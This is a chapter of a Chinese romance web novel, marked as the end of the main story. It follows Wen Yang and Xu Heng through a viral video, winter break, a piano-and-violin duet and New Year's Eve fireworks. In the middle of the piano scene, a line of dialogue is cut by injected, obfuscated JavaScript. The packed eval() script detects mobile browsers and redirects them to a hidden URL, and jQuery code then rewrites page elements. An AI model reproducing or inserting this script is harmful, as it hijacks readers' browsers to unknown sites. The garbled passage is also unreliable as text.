荆问 作品

65. 正文完

许砚吃过晚饭后就离开了,其实不离开也不行,毕竟是两居室,实在没有地方给他留宿。


温漾坐在客厅的沙发上玩平板,而哥哥正在收拾厨房。


【沈嘉晗:你去当网红吧。】


【沈嘉晗:[链接]】


温漾点进沈嘉晗发来的链接,跳转到了另一个软件上。


是个视频剪辑,配了很有宿命感的bgm。


文案是——那一刻万千世界从我眼中消逝只留下你。


视频中,穿着雪白长裙的金发少女沿着廊道奔跑,风吹起她的长发,身后是观众席上或站着或坐着的过客,而她只看见一个人。


画面定格在男人伸展双臂将她拥入怀里。


两人相拥着,好似自成一个只剩彼此的世界,周遭的全部都被拥抱阻挡在外。


温漾重复看了三遍后,默默点了保存到本地。


到这时,她才点进评论区。


点赞量快到百万,评论区也人才辈出。


【随礼一个亿,从我死对头的账上划。】


【我不是来阻止你们的,我是来加入这个大家庭的。】


【是真的,我是现场的灯光。】


【姐姐,一定要选他吗?我可以不要名分的。】


【那些说想加入的,背景是延大哦,你们想加入可能连校门都进不去捏。】


【够了,我说够了,这个只有我是npc的世界。】


温漾退出视频,点进沈嘉晗的聊天框里,回了句:很好看。


【沈嘉晗:是吧。】


【沈嘉晗:苟富贵,勿相忘。】


【沈嘉晗:你记住,你和你哥的爱情能守护住,全是我的功劳。】


【沈嘉晗:这个家没我真不行。】


沈嘉晗还在沾沾自喜。


过了几秒。


手机一震,有新消息弹进来,她正打算享受对方的感谢。


低头一看。


【hi,你和我的距离只差一顿外卖~[小程序]】


“……”


沈嘉晗面无表情地点进去,并为这个冷漠无情的女人支付了一杯青提茉莉。


这个视频很火,火到不少延大的学生都被推送了。


其中也有不少认识温漾、许珩的。


不过因为有沈嘉晗的解释,大家对此接受度很高,再加上其实这件事本来也是温漾的私事,哪怕觉得奇怪也不会表现出来。


关系一般的人通常是会这样。


但——


许珩将手机听筒微微拉开些许,那头的高分贝还是不留余力地穿透了过来。


“许珩你这个畜生!你要不要脸?!你监守自盗你知道吗!你完全没有任何道德!你这个衣冠禽兽!”


愤怒的声音还夹杂着意味难明的不甘心。


辱骂足足持续了五分钟。


周澈才慢慢平息,最后只留下一句,“许珩,你这个虚伪的男人,我不会原谅你。”


然后挂断了电话。


很快,许珩发现自己被周澈拉黑了。


“……”


许珩叹了口气。


以一种完全意料之外的形式曝光了,但结果比预想之中要好许多。


没有人伤害温漾。


这对许珩而言,已经是万幸。


十二月,延和市进入冬季。


第一学期到了期末,图书馆的人变得多了起来。


在许砚的明示暗示下,温漾回到了别墅的书房自习,不仅没有人打扰,还有林姨煮的牛乳茶。


对于有“恐人症”的温漾来说十分完美。


加上有司机接送,温漾回别墅的次数多了起来。


于是许珩也开始回家。


一切都太过熟悉以至于根本不需要任何适应,就这样组成了一个温馨而包容的家庭。


许砚在书房给温漾添置了一个专用书桌,并且在负一楼装了一间医用实验室,里面囊括了许多专业医用器械,有一些甚至比学校用的更精密。


温漾某次在实验室拍了一张照片,和沈嘉晗讨论数据时,被对方发现了。


沈嘉晗随口问道:“你是在学校实验室吗?”


“没有,在家。”


温漾开着免提,继续实验的下一步。


“?”


好一会儿,沈嘉晗才缓缓开口,“你是说你家里有一个专业级的医用实验室是吗?”


“怎么了?”


温漾不明所以地问。


“……很好。”


沈嘉晗没有一秒的犹豫,“我要给你当狗。”


“……”


温漾不知道说什么,最后只是干巴巴地回:“好的。”


期末考试结束过后就是寒假。


但这一次,温漾和许珩回了家,回到了从前的家。


似乎什么都没有变。


临近年关,许珩也放了假,不用去公司。


客厅里,许砚一边看书一边说:“今年有什么想法吗?”


“和往年一样就行,”许珩从林姨手里接过了今年除夕夜晚饭清单,说:“含有花生的所有制品都取消。”


“好的。”林姨没有过问。


倒是许砚从书里抬起头,“怎么?”


“阿漾对花生过敏。”


许珩说。


“那以后也都不用买了。”


许砚垂眸继续看书。


“好。”林姨笑着应了。


像是想到什么,许砚忽然说:“对了,家里那架钢琴,你有空去看看,什么时候让调音师来一趟。”


“好。”


-


温漾打着哈欠从房间走出来,虽然刚结束午休,但还有些困倦,沿着楼梯走到一楼,听到了一些细碎单一的钢琴音。


她循声走去,看见有人正倚着三角钢琴,仔细地调试着。


“阿漾醒了?”


站在一旁的许珩最先看见她,朝她招了招手,“过来。”


温漾因为刚睡醒,反应有些迟钝地走到哥哥旁边,整个人埋进哥哥怀里,声音还带着一点哑,“哥哥。”


许珩笑了下,低下头亲了亲她的头发,好像有点无奈,“又撒娇。”


而这时,调音的人终于按下最后一个键,站起身,说:“好了。”


“嗯,辛苦了。”许珩朝对方颔首。


结束工作的调音师离开,四周只剩下两人。


“想不想试试?”


许珩牵着温漾走到了钢琴面前。


“可是我不会。”


温漾诚实地说。


但黑白琴键就在眼前,她不免好奇地伸出手,试探性地按下,紧接着响起一道很有质感的钢琴音。


“没关系,哥哥教你。”


许珩垂下眼,眸底是一片温柔的底色。


温漾从没有学过钢琴,不过她在很久以前学过小提琴,她原本以为自己已经忘了。


可当哥哥翻开五线谱的时候,尘封的记忆却从脑海里自动谱写起一切。


“我记得这个。”


她说。


不远处,刚调过音的小提琴还没来得及收进去。


她走过去,指腹摩挲过光滑的琴身,片刻后,她拿起琴,另一只手握住琴弓,架琴和放弓的动作都熟稔得像是做过无数次。


很安静又很寻常的一个午后。


温漾站在这里,在八年后,奏响了久远的梦境里才会出现的曲子。


简单几个琴音过后,清灵的钢琴音融入进来,相辅相成。


舒缓又悠扬。


直到最后一个精准的琴音结束。


温漾在这个瞬间,意识到,其实过去从来没有过去,只是被装进了盒子里,被关了起来,却从没有消失。


好的也好,坏的也好。


都还在。


而这是最后一个盒子。


从前的一切,宛如振翅的鸟终于从这紧闭多年的盒子里纷飞离去。


那一声声扑闪翅膀的风唳,组成自由的群唱。


压抑的、隐瞒的、不敢面对的……都得到解脱。


再不用紧握着什么了。


“很久以前的曲子了。”


许珩声音很轻。


初冬的天光是白茫茫的一片,透过远处巨大的落地窗进来,让一切都沐浴在静谧中。


“嗯。”


温漾放下琴,视线落在很远的地方,“是很久以前,老师教我的。”


“老师那时候说,是最近很出名的一首曲谱。”


许珩勾起她的手指,慢慢握住,“现在也一样。”


温漾坐到了哥哥旁边,另一只手放在琴键上,“哥哥,教教我。”


“好。”


许珩牵起她的手指,一个琴键一个琴键地按下。


一首不算太难的曲子。


温漾侧过头,看向哥哥,“我没有听过,它叫什么?”


许珩唇边弯了一下,说:“这是我刚做


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938769|160132||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


的,不是乐谱上的曲子。”


“那哥哥打算给它取什么名字?”


“就叫……”他抬起手,摸了摸温漾的头发,“极昼。”


极昼。


再无长夜。


你所惧怕的一切都无所遁形。


-


除夕这日,家里很早就开始忙起来,虽然大部分是提前预约好的食材按时送上门,但仍有很多事情要做。


不过忙碌的人里面没有温漾。


她前一晚和沈嘉晗一起打游戏打到了凌晨三点,沈嘉晗还很赞同地跟她说:“果然凌晨三点也有奶茶店开门。”


因为熬了夜,导致这天温漾到了中午才起来,刚洗漱过后就被叫去吃午饭了。


下午一家人在影音室看了电影。


为了迎合在场的两位年轻人——温漾、许珩。


许砚特意挑了一部近日很火的电影。


长达三个小时。


温漾看了一个小时,不小心睡了一个小时,从哥哥怀里醒来时发现,居然刚好到精彩的部分。


十分神奇。


更神奇的是,她发现许叔叔也睡着了。


从影音室出来时,温漾牵着哥哥的手,问:“讲了什么?”


许珩偏过身低声和她叙述着电影故事。


讲到一半,温漾抬手捂住了哥哥的唇,“好了。”


许珩失笑,捏了捏她的手心,从唇边拿下来,说:“是你要听,听了又嫌无聊。”


下午的电影虽然不怎么样,但除夕夜的晚饭丰盛到温漾有些吃不过来。


吃过晚饭以后,许砚给了两人一个大红包。


除夕夜要守岁,林姨煮了些热饮送到三楼。


温漾就抱着热巧克力坐在露天阳台,望着外面广袤的视野,说:“哥哥,之前你从阳台过来的时候,有想过万一从三楼摔下去吗?”


许珩拿了张毛毯裹在她身上,掖得严丝合缝,没有风吹进去,才坐下来,道:“没有。”


“哥哥是那个时候就喜欢我了吗?”


温漾忽然问。


“……”


温漾像一个裹成一团的毛茸茸,笨拙地从椅子上起来,往哥哥那边走。


许珩忙伸手抱住她,有点无奈,“阿漾。”


语气虽然是不赞同的。


但还是将人连毯一起抱进怀里。


“哥哥,是不是?”


温漾抱着学术研究的求知欲再次问道。


他捏了捏温漾的脸,拿她没什么办法,只好说:“或许更早。”


“更早?”


温漾问:“那是什么时候?”


什么时候?


或许是第一次带她去延大的时候,他要离开,而她像被遗弃的小狗站在原地,无声地望着他,眼里写满了“留在我身边”,却什么也没有做。


也或许是第一次见面那晚,他被周澈扰了睡梦,出来喝水时看见她独自撑在栏杆边落泪,明明过敏了却也不敢告诉任何人。


那些无知无觉的瞬间,连他自己都没有察觉。


原来在很早以前,他已经想要为她遮挡住一切风雨。


“那阿漾是什么时候?”


许珩唇边噙着笑,没有回答,反过来问她。


温漾很认真地回忆着。


没有得出答案。


但她仍记得第一次见到哥哥的时候,夏日的光落在哥哥身上,像鎏金。


仿佛沐浴在金辉下的神明。


那一幕如同被定格般,存在于温漾的脑海里。


“很久以前。”


温漾说。


话音刚落。


时针准时落向十二,远处夜空里绽开一朵朵烟花,璀璨而盛大。


温漾回过头,望向被映亮的长夜。


发顶上忽然传来温柔的抚摸。


“哥哥也是。”


额头落下了一个很轻的吻,带着极为珍重的意味。


烟花倒映进温漾的眼底,耳边是一道道烟花炸破的声音。


远处似乎有人群的欢呼声。


温漾忽然唤道:“哥哥。”


“嗯?”


“你知道我爱你。”


有一声很轻的低笑。


“嗯,哥哥知道。”


“我也知道哥哥有多爱我。”


“嗯。”


那样多的瞬间。


无数次望过来欲言又止的目光。


都在说着,你有多爱我。